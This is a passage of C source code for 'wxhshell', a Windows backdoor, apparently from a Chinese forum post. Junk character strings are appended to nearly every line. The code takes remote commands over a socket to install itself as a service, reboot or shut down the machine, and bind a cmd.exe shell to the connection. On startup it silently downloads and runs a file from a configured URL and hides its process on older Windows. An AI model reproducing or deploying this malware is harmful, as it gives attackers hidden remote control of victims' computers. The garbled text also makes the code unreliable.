    switch(cmd[0]) { o-6d$c}{f  
  `<9>X9.+  
  // 帮助 LGt>=|=bj  
  case '?': { c`<2&ke  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H9)@q3<  
    break; PCl5,]B}  
  } ~xd?y*gk;  
  // 安装 9[/0  
  case 'i': { &vrQ *jX  
    if(Install()) s70Z&3A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wsmgkg  
    else +Kk1[fh-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8n3]AOc'~-  
    break; poBeEpbs  
    } 6nTM~]5.  
  // 卸载 iTHwH{!  
  case 'r': { x)C}  
    if(Uninstall()) j*>J1M3E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D1rVgM  
    else u=0O3-\h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {JfQQP&FV  
    break; |<Ls;:5.  
    } \\SQACN  
  // 显示 wxhshell 所在路径 p{Q6g>?[  
  case 'p': { yV.p=8:  
    char svExeFile[MAX_PATH]; ]c>@RXY'  
    strcpy(svExeFile,"\n\r"); m[}P  
      strcat(svExeFile,ExeFile); D;YfQQr  
        send(wsh,svExeFile,strlen(svExeFile),0); P}4&J ^  
    break; .HZd.*  
    } h,{Q%sqO  
  // 重启 V&f*+!!2  
  case 'b': { l\Ozy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); egu{}5  
    if(Boot(REBOOT)) OD)X7PU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~,y3L6ic  
    else { /V,xSK9.&  
    closesocket(wsh); R&cT Md  
    ExitThread(0); ,1ev2T  
    } .RpJZ[E  
    break; Xmr}$<<=  
    } MT/jpx  
  // 关机 jC&fnt,O  
  case 'd': { Ql{#dcRx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r<0E[ ~  
    if(Boot(SHUTDOWN)) *duG/?>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N~mDUoJ|  
    else { TKnWhB/J  
    closesocket(wsh); LtRRX@qJw  
    ExitThread(0); |jIHgm  
    } }<WJR Y6j  
    break; 3l=q@72  
    } @V:K]M 5  
  // 获取shell Wx0i_HFR  
  case 's': { ]0D-g2!|A  
    CmdShell(wsh); O=A R`r#u  
    closesocket(wsh); g}%ODa !H  
    ExitThread(0); ;7\Fx8"s[  
    break; h8(#\E  
  } qe.QF."y  
  // 退出 F>\,`wP  
  case 'x': { fAJyD`]Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kxr{Nx  
    CloseIt(wsh); $U[d#:]  
    break; ~IZ-:?+S^  
    } I<2`wL=  
  // 离开 ?J2{6,}O*.  
  case 'q': { ^ =C>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O::FB.k  
    closesocket(wsh);  J#` 7!  
    WSACleanup(); 6SCjlaGW5  
    exit(1); |*?N#0s5h  
    break; c';~bYZ  
        } Fu.aV876\f  
  } &6\&McmkX  
  } yu6~:$%H  
]\yB,  
  // 提示信息 THwM',6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CzV;{[?~;  
} z#+WK| a  
  } [h-6;.e  
XKGiw 2 C  
  return; {v*4mT  
} [<=RsD_q~  
:=Zd)i)3  
// shell模块句柄 . Z&5TK4I  
int CmdShell(SOCKET sock) o'lG9ePM|  
{ `p\%ha!,w  
STARTUPINFO si; uL)MbM]  
ZeroMemory(&si,sizeof(si)); 1t e^dh:Vp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ n<|f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _-fLD  
PROCESS_INFORMATION ProcessInfo; hp)>Nzdx  
char cmdline[]="cmd"; $R}C(k ;?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CRo'r/G  
  return 0; -`4]u!A  
} ZJ{DW4#t  
k1D7=&i  
// 自身启动模式 bZ_&AfcB  
int StartFromService(void) vGyQ306  
{ ])?dqgwa  
typedef struct B <s+I#  
{ (`4&h%g  
  DWORD ExitStatus; cP tDIc,  
  DWORD PebBaseAddress; F,_cci`p  
  DWORD AffinityMask; ),{3LIr  
  DWORD BasePriority;  *wJ$U  
  ULONG UniqueProcessId; (~G*' /)  
  ULONG InheritedFromUniqueProcessId; @zS/J,:v}  
}   PROCESS_BASIC_INFORMATION; 0c>>:w20D  
qt OuA  
PROCNTQSIP NtQueryInformationProcess; OyDoktz$)  
E{6ku=2F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?h{ 6Qd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mzg3i*  
NATi)A"TZ  
  HANDLE             hProcess; ^:?z7m  
  PROCESS_BASIC_INFORMATION pbi; q2 7Ac; y  
W4 q9pHQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _,^f,WO~  
  if(NULL == hInst ) return 0; F-@y H  
xLIyh7$t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u|23M,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8!v|`Ky  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `x=kb;  
DQhHU1  
  if (!NtQueryInformationProcess) return 0; n^QDMyC;I  
m@nGXl'!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fyUW;dj  
  if(!hProcess) return 0; qF3S\ C  
:C;fEJN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =x w:@(]{  
;2h"YU-b  
  CloseHandle(hProcess); o,k#ft<  
Ty b_'|?rW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T\wOGaCW  
if(hProcess==NULL) return 0; x75;-q  
{$N\@q@v~  
HMODULE hMod; <=uO*s>%  
char procName[255]; ruqE]Hx9(  
unsigned long cbNeeded; e~QLzZ3  
j 1'H|4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NHZMH!=4:n  
crd|r."  
  CloseHandle(hProcess); z*nztvY@e  
rREev  
if(strstr(procName,"services")) return 1; // 以服务启动 ~(m6dPm$}m  
3>(~5  
  return 0; // 注册表启动 F-Z>WC{+  
} Ge$&k  
_)-2h[  
// 主模块 &\?{%xj  
int StartWxhshell(LPSTR lpCmdLine) N cHCcc  
{ J'cE@(US  
  SOCKET wsl; .WOF:Nu4  
BOOL val=TRUE; IwFf8? 3  
  int port=0; 21$^k5  
  struct sockaddr_in door; KI<x`b  
f`8fNt  
  if(wscfg.ws_autoins) Install(); z=k*D^X  
0T3r#zQ  
port=atoi(lpCmdLine); >&<D.lx  
,_,7c or  
if(port<=0) port=wscfg.ws_port; z"5e3w  
(`n*d3  
  WSADATA data; tSDp>0yZ3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E3Z>R=s  
" 6$+B/5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g 'L$m|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^(xVjsHp#  
  door.sin_family = AF_INET; 7.5\LTM>9e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zfu" 8fX  
  door.sin_port = htons(port); W6B o\UK  
!/&~Feb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #l2WRw_t  
closesocket(wsl); bVRxGn @l  
return 1; h\-jqaq  
} 0g#?'sD  
QqY42hR  
  if(listen(wsl,2) == INVALID_SOCKET) { /7*qa G  
closesocket(wsl); [0+5 Gx  
return 1; h^9Ne/s~  
} 8/34{2048  
  Wxhshell(wsl); nDC5/xB  
  WSACleanup(); qmnCa&C9  
gvZLW!={  
return 0; qfY=!|O  
/|e"0;{  
} .>zkS*oX4z  
4ri)%dl1  
// 以NT服务方式启动 9]8M {L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N~arxe (K  
{ ,KibP_<%&P  
DWORD   status = 0; \b88=^  
  DWORD   specificError = 0xfffffff; 8&f"")m  
4d'tK^X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q;$/&Y*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZoC?9=k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `V ++})5v  
  serviceStatus.dwWin32ExitCode     = 0; q14A 'XW  
  serviceStatus.dwServiceSpecificExitCode = 0; UE\@7  
  serviceStatus.dwCheckPoint       = 0; ]*;+ U6/?  
  serviceStatus.dwWaitHint       = 0; 13{"sY:PT#  
{&(bKQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]O&A:Us  
  if (hServiceStatusHandle==0) return; Ip0@Q}^  
'E8dkVlI  
status = GetLastError(); OEGAwP?F  
  if (status!=NO_ERROR) oB Bdk@  
{ 5p{tt;9[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  WU,72g=  
    serviceStatus.dwCheckPoint       = 0; FkE CY  
    serviceStatus.dwWaitHint       = 0; B 9]sSx  
    serviceStatus.dwWin32ExitCode     = status; !r!Mq~X<=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~KfjT p#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -+I! (?  
    return; <F.Ol/'h  
  } 7#|NQ=yd  
Xhkw<XbV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &akMj@4;R  
  serviceStatus.dwCheckPoint       = 0; s9:2aLZ {  
  serviceStatus.dwWaitHint       = 0; 3yD5u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Vf|YLbhJ  
} S(-=I!.G{  
iii$)4V  
// 处理NT服务事件,比如:启动、停止 M[*:=C)H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s9GPDfZ  
{ TAC\2*bWje  
switch(fdwControl) LP)mp cQ  
{ ptq{$Y{_  
case SERVICE_CONTROL_STOP: {}^ELw  
  serviceStatus.dwWin32ExitCode = 0; LA@}{hU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x}>tX  
  serviceStatus.dwCheckPoint   = 0; u!`C:C'  
  serviceStatus.dwWaitHint     = 0; <,hBoHZSL  
  { ze\~-0ks +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |95/'a*  
  } ti#sh{t  
  return; ;^8^L'7cr  
case SERVICE_CONTROL_PAUSE: n0i&P9@B1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &{=~)>h  
  break; 0j/81Y}p  
case SERVICE_CONTROL_CONTINUE: xNqQbk F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G =4y!y  
  break; B# H  
case SERVICE_CONTROL_INTERROGATE: w+$gY?%  
  break; q(p0#Mk,E  
}; eB@i)w?@o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =K>Z{% i  
} I2DmM"-|  
aQmL=9  
// 标准应用程序主函数 I !<v$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qy/bzO  
{ c_a$g  
9G8QzIac  
// 获取操作系统版本 EH "g`r  
OsIsNt=GetOsVer(); M>J ADt_]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o%QQ7S3 P  
d$,i?d,  
  // 从命令行安装 -pGt ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); *(MvNN*  
{n{}Y.  
  // 下载执行文件 dGteYt_F  
if(wscfg.ws_downexe) { )|a9Z~#x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l=]vC +mU  
  WinExec(wscfg.ws_filenam,SW_HIDE); XZ&v3ul  
} Yr=mLT|JN  
1;gSf.naG  
if(!OsIsNt) { 2!otVz! Mh  
// 如果时win9x,隐藏进程并且设置为注册表启动 ">QY'r  
HideProc(); uWInx6p  
StartWxhshell(lpCmdLine); QPcB_wUqu  
} >oNk(. %  
else )IhY&?jk?  
  if(StartFromService()) GDB>!ukg  
  // 以服务方式启动 U44H/5/  
  StartServiceCtrlDispatcher(DispatchTable); +=k|(8Js#  
else l.W:6", w  
  // 普通方式启动 oX4uRc7wR  
  StartWxhshell(lpCmdLine); GKtQ>39B  
5#o,]tP  
return 0; /_a *C.a6  
}
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只看该作者 1 发表于: 2006-10-10
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